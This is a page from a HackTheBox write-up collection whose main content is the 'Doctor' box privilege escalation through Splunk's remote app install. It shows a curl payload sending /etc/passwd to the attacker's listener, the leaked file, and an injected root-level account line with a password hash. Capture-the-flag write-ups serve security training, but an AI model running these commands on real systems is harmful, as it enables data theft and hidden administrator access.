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HackTheBox Writeups
  • kashz HTB Writeups
  • HTB BOXES
    • ACCESS
      • 5 admin
      • 4 user
      • 3 telnet
      • 2 http
      • 1 recon
    • ADMIRER
      • 5 root
      • 4 adminer-php
      • 3 ftp
      • 2 http
      • 1 recon
    • ARCHETYPE
      • 3 :1433 mssql
      • 2 :139 :445 smb
      • 1 recon
    • ARMAGEDDON
      • 8 privesc dirty_sockv2
      • 7 privesc
      • 6 box enum bruce
      • 5 :80 drupalgeddon2
      • 4 :80 droopescan
      • 3 :80
      • 2 :80 robots.txt
      • 1 recon
    • ATOM
      • 4 privesc
      • 3 box enum jason
      • 2 :139 :445 smb
      • 1 recon
    • BANK
      • 5 privesc
      • 4 box enum
      • 3 :80
      • 2 :53 dns
      • 1 recon
    • BANKROBBER
      • 6 privesc brute force PIN > BOF
      • 5 privesc bankv2.exe
      • 4 box enum cortin
      • 3 admin backdoorchecker.php
      • 2 :80 :443 XSS > admin
      • 1 recon
    • BASHED
      • 2 :80
      • 1 recon
    • BASTARD
      • 6 privesc_2 ms10-059
      • 5 privesc_1 ms15-051
      • 4 box enum KE
      • 3 :80 drupalgeddon2
      • 2 :80 drupal7
      • 1 recon
    • BASTION
      • 3 box enum > privesc
      • 2 :139 :445 smb
      • 1 recon
    • BEEP
      • 7 :80 elastix 2.2.0 RCE + privesc
      • 6 :10000 webmin
      • 5 :25 smtp
      • 4 :80 vtigercrm
      • 3 :80 admin
      • 2 :80
      • 1 recon
    • BLOCKY
      • 3 :22 ssh
      • 2 :80
      • 1 recon
    • BLUE
      • 3 ms17-010
      • 2 :139 :445 smb
      • 1 recon
    • BLUNDER
      • 5 www-data > hugo > root
      • 4 box enum
      • 3 bludit 3.9.2 file_upload RCE
      • 2 :80
      • 1 recon
    • BOUNTY
      • 4 JuicyPotato
      • 3 privesc check
      • 2 :80
      • 1 recon
    • BOUNTYHUNTER
      • 4 privesc
      • 3 :22 ssh development
      • 2 :80 xxe
      • 1 recon
    • BRAINFUCK
      • 5 privesc
      • 5 :443 sup3rs3cr3t.brainfuck.htb
      • 4 :143 imap
      • 3 :443 wpscan
      • 2 :443
      • 1 recon
    • BRAINPAN1
      • 4 privesc
      • 3 BOF
      • 2 :10000
      • 1 recon
    • BUCKET
      • 6 privesc
      • 5 dynamodb roy
      • 4 box enum www-data
      • 3 :80 s3.bucket.htb
      • 2 :80 bucket.htb
      • 1 recon
    • BUFF
      • 4 privesc
      • 3 :80
      • 2 :8080
      • 1 recon
    • CAP
      • 4 privesc
      • 3 :22 ssh
      • 2 :80
      • 1 recon
    • CHATTERBOX
      • 5 privesc autologon creds
      • 4 privesc w/ grant perm
      • 3 box enum
      • 2 :9256 achat chat system
      • 1 recon
    • CONCEAL
      • 9 privesc
      • 8 :80
      • 7 :21 ftp
      • 6 post vpn recon
      • 5 ipsec conn config
      • 4 ipsec summary
      • 3 :500/udp ipsec
      • 2 :161/udp snmp
      • 1 recon
    • CRONOS
      • 6 post enum
      • 5 privesc cronjob
      • 4 box enum
      • 3 :53 dns
      • 2 :80
      • 1 recon
    • DELIVERY
      • 4 :3306 mysql > privesc
      • 3 :8065 mattermost
      • 2 :80
      • 1 recon
    • DEVEL
      • 4 privesc_2 ms11-046
      • 3 privesc_1 JuicyPotato
      • 2 :21 ftp
      • 1 recon
    • DOCTOR
      • 7 post enum
      • 6 :8089 privesc splunk > root
      • 5 web > shaun
      • 4 box enum web
      • 3 :80 SSTI
      • 2 :80 splunkd
      • 1 recon
    • DYNSTR
      • 6 privesc
      • 5 box enum > bindmgr
      • 4 nsupdate exploit
      • 3 :80
      • 2 :53 dns
      • 1 recon
    • EXPLORE
      • 3 :2222 ssh kristi > root
      • 2 :59777 es file explorer
      • 1 recon
    • FRIENDZONE
      • 7 privesc
      • 6 administrator1.friendzone.red
      • 5 dns
      • 4 smb
      • 3 :443
      • 2 :80
      • 1 recon
    • FUSE
      • 7 privesc SeLoadDriverPrivilege
      • 6 rpc
      • 5 spray passwd
      • 4 :389 ldap
      • 3 :80 PaperCut Logger
      • 2 :139 :445 smb
      • 1 recon
    • GRANDPA
      • 4 privesc
      • 3 webdav exploit
      • 2 :80
      • 1 recon
    • GRANNY
      • 4 privesc
      • 3 :80 webdav exploit
      • 2 :80
      • 1 recon
    • HAIRCUT
      • 5 post enum
      • 4 privesc www-data > root
      • 3 box enum www-data
      • 2 :80
      • 1 recon
    • IRKED
      • 4 box enum
      • 3 :6697 irc
      • 2 :80
      • 1 recon
    • JARVIS
      • 9 post enum
      • 8 pepper > root
      • 7 www-data > pepper
      • 6 box enum www-data
      • 5 phpMyAdmin 4.8 LFI
      • 4 :80 sqli
      • 3 :64999
      • 2 :80
      • 1 recon
    • JEEVES
      • 2 :50000
      • 1 recon
    • JERRY
      • 4 manual
      • 3 tomcatWarDeployer
      • 2 :8080 tomcat
      • 1 recon
    • KNIFE
      • 3 privesc
      • 2 :80 php 8.1.0 dev
      • 1 recon
    • LABORATORY
      • 6 privesc
      • 5 gitlab admin dexter
      • 4 stable shell
      • 3 :443 gitlab shell
      • 2 :443 gitlab
      • 1 recon
    • LACASADEPAPEL
      • 4 box enum > privesc
      • 3 :80 > :443
      • 2 :21 ftp
      • 1 recon
    • LAME
      • 4 :139 :445 smb exploit
      • 3 :3632 distccd
      • 2 :139 :445 smb
      • 1 recon
    • LEGACY
      • 4 MS-17-010
      • 3 MS08-067
      • 2 :139 :445 smb
      • 1 recon
    • LOVE
      • 3 privesc
      • 2 :80
      • 1 recon
    • MAGIC
      • 5 post enum
      • 4 privesc theseus > root
      • 3 box enum www-data
      • 2 :80
      • 1 recon
    • MANGO
      • 6 post enum
      • 5 privesc admin > root
      • 4 mango > admin
      • 3 box enum mango
      • 2 :80 :443
      • 1 recon
    • MIRAI
      • 3 :22 ssh
      • 2 :80
      • 1 recon
    • MONITORS
      • 12 post enum
      • 11 docker breakout > root
      • 10 Apache Tomcat/9.0.31 deserialization RCE > docker root
      • 9 box enum marcus
      • 8 manual enum www-data
      • 7 :8443
      • 6 box enum www-data
      • 5 cacti-admin.monitors.htb
      • 4 wp with spritz exploit
      • 3 :80 wpscan
      • 2 :80
      • 1 recon
    • NETWORKED
      • 7 post enum
      • 6 box enum guly > privesc > root
      • 5 check_attack.php
      • 4 box enum
      • 3 :80 upload.php & lib.php
      • 2 :80
      • 1 recon
    • NIBBLES
      • 4 privesc
      • 3 fileUpload exploit
      • 2 :80
      • 1 recon
    • NINEVEH
      • 6 post enum
      • 5 privesc amrois > root
      • 4 box enum www-data > amrois
      • 3 :443
      • 2 :80
      • 1 recon
    • NODE
      • 7 post enum
      • 6 privesc tom > root
      • 5 mark > tom
      • 4 box enum mark
      • 3 :3000 login
      • 2 :3000
      • 1 recon
    • OMNI
      • 5 cracking user.txt | root.txt
      • 4 dump SAM SYSTEM
      • 3 box enum ?
      • 2 :8080
      • 1 recon
    • OOPSIE
      • 4 post enum
      • 3 box enum > privesc
      • 2 :80
      • 1 recon
    • OPENADMIN
      • 6 joanna > root
      • 5 jimmy > joanna
      • 4 manual enum > jimmy
      • 3 openNetAdmin 18.1.1
      • 2 :80
      • 1 recon
    • OPHIUCHI
      • 4 privesc
      • 3 yaml deserialization exploit
      • 2 :8080
      • 1 recon
    • OPTIMUM
      • 3 box enum > privesc
      • 2 :80
      • 1 recon
    • PASSAGE
      • 7 post enum
      • 6 privesc dbus com.ubuntu.USBCreator.conf
      • 5 box enum nadav
      • 4 box enum paul
      • 3 box enum www-data
      • 2 :80 cutenews
      • 1 recon
    • POISON
      • 6 foothold_3 log poisoning
      • 5 foothold_2 phpinfo.php + LFI
      • 4 privesc vncviewer > root
      • 3 box enum charix
      • 2 :80
      • 1 recon
    • POPCORN
      • 7 post enum
      • 6 privesc_2 rds
      • 5 privesc_1 full-nelson
      • 4 manual privesc > root
      • 3 box enum www-data
      • 2 :80
      • 1 recon
    • POSTMAN
      • 6 webmin (matt > root)
      • 5 Matt > root
      • 4 redis > Matt
      • 3 :6379 redis
      • 2 :80
      • 1 recon
    • QUERIER
      • 6 privesc GPP CachedPassword
      • 5 privesc
      • 4 mssql using msf
      • 3 mssql
      • 2 smb
      • 1 recon
    • READY
      • 4 PEAS > docker > escape > root
      • 3 :5080 gitlab
      • 2 :5080 robots.txt
      • 1 recon
    • REMOTE
      • 8 privesc teamviewer
      • 7 privesc UsoSvc
      • 6 privesc
      • 5 RCE
      • 4 :111 rpc
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • SCRIPTKIDDIE
      • 2 :5000
      • 1 recon
    • SECNOTES
      • 9 privesc_3 bash.exe
      • 8 privesc_2 UsoSvc
      • 7 privesc_1 PrintSpoofer
      • 6 box enum iis apppool
      • 5 :445 smb
      • 4 :80 CSRF
      • 3 :8808 IIS
      • 2 :80 IIS
      • 1 recon
    • SENSE
      • 2 :80 pfsense
      • 1 recon
    • SERVMON
      • 5 privesc
      • 4 box enum nadine
      • 3 :80 NVMS
      • 2 :21 ftp
      • 1 recon
    • SHIELD
      • 3 privesc
      • 2 :80
      • 1 recon
    • SHOCKER
      • 2 :80 shellshock
      • 1 recon
    • SILO
      • 6 odat shell
      • 5 sqlplus
      • 4 :1521 orcale tns listener
      • 3 :8080 XDB
      • 2 :80
      • 1 recon
    • SNEAKYMAILER
      • 11 post enum
      • 10 privesc low > root
      • 9 localhost:5000 > low
      • 8 box enum developer
      • 7 box enum www-data
      • 6 :21 ftp
      • 5 :143 imap
      • 4 :25 smtp
      • 3 :8080
      • 2 :80
      • 1 recon
    • SNIPER
      • 8 box enum chris + privesc
      • 7 iusr > chris
      • 6 privesc_1 PrintSpoofer
      • 5 box enum nt authority\iusr
      • 4 :80 /blog > LFI > smbRFI
      • 3 :80 /user
      • 2 :80
      • 1 recon
    • SOLIDSTATE
      • 7 privesc
      • 6 :22 ssh mindy
      • 5 :110 pop3
      • 4 apache james 2.3.2 RCE
      • 3 :4555 JAMES RAT 2.3.2
      • 2 :80
      • 1 recon
    • SPECTRA
      • 4 nginx shell > katie
      • 3 wordpress
      • 2 :80
      • 1 recon
    • SPIDER
      • 8 post enum
      • 7 localhost:8080 XXE
      • 6 box enum chiv manual
      • 5 box enum chiv
      • 4 :80 chiv login + SSTI
      • 3 :80 sqlmap via flask cookie
      • 2 :80 SSTI via /register to /user
      • 1 recon
    • SWAGSHOP
      • 3 privesc
      • 2 :80
      • 1 recon
    • TABBY
      • 5 tomcat > ash > root
      • 4 box enum
      • 3 :8080 tomcat9
      • 2 :80
      • 1 recon
    • TARTARSAUCE
      • 10 post enum
      • 9 privesc omuna > root
      • 8 box enum onuma
      • 7 www-data > onuma
      • 6 box enum www-data
      • 5 :80 monstra
      • 4 :80 wpscan
      • 3 :80 monstra
      • 2 :80
      • 1 recon
    • TENET
      • 4 privesc
      • 3 php file injection (deserialization exploit)
      • 2 :80 wordpress
      • 1 recon
    • THENOTEBOOK
      • 5 privesc docker runC exploit
      • 4 shell
      • 3 :80 JWT exploitation
      • 2 :80
      • 1 recon
    • TRAVEREXEC
      • 5 david > root
      • 4 www-data > david
      • 3 box enum
      • 2 :80 nostromo 1.9.6
      • 1 recon
    • VACCINE
      • 4 privesc
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • VALENTINE
      • 6 privesc dirtyc0w
      • 5 privesc tmux
      • 4 box enum
      • 3 heartbleed
      • 2 :80
      • 1 recon
    • WORKER
      • 11 evil-winrim robisl :5985
      • 10 box manual enum
      • 9 box enum iis apppool\defaultapppool
      • 8 privesc PrintSoofer FAIL
      • 7 :80 spectral.worker.htb shell
      • 6 :80 devops.worker.htb
      • 5 explore domains
      • 4 :80 dimension.worker.htb
      • 3 :3690 subversion
      • 2 :80 IIS 10.0
      • 1 recon
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6 :8089 privesc splunk > root

# shaun:Guitar123 same creds for splunk

Using https://github.com/cnotin/SplunkWhisperer2.git
|https://book.hacktricks.xyz/linux-unix/privilege-escalation/splunk-lpe-and-persistence

$ python PySplunkWhisperer2_remote.py --scheme https --username shaun --password Guitar123 --host 10.10.10.209 --lhost 10.10.16.5 --payload "curl -F 'data=@/etc/passwd' http://10.10.16.5:4444"
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpUWC3ie.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.16.5:8181/
10.10.10.209 - - [17/Sep/2021 23:59:24] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.209] 41908
POST / HTTP/1.1
Host: 10.10.16.5:4444
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 3170
Content-Type: multipart/form-data; boundary=------------------------bdf11350370b4d64
Expect: 100-continue

--------------------------bdf11350370b4d64
Content-Disposition: form-data; name="data"; filename="passwd"
Content-Type: application/octet-stream

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
web:x:1001:1001:,,,:/home/web:/bin/bash
_rpc:x:126:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:127:65534::/var/lib/nfs:/usr/sbin/nologin
exim:x:31:31:Exim Daemon:/dev/null:/bin/false
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash

--------------------------bdf11350370b4d64--
# we can get /etc/shadow also, so we are root

# adding ourselves to /etc/passwd
$ python PySplunkWhisperer2_remote.py --scheme https --username shaun --password Guitar123 --host 10.10.10.209 --lhost 10.10.16.5 --payload "echo 'kashz:cAZZtf3ncxRAY:0:0:root:/root:/bin/bash' >> /etc/passwd"
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpnxzIO1.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.16.5:8181/
10.10.10.209 - - [18/Sep/2021 00:01:48] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup

shaun@doctor:~$ cat /etc/passwd | tail -n 1
kashz:cAZZtf3ncxRAY:0:0:root:/root:/bin/bash

shaun@doctor:~$ su kashz
Password:
root@doctor:/home/shaun# whoami;id;hostname
root
uid=0(root) gid=0(root) groups=0(root)
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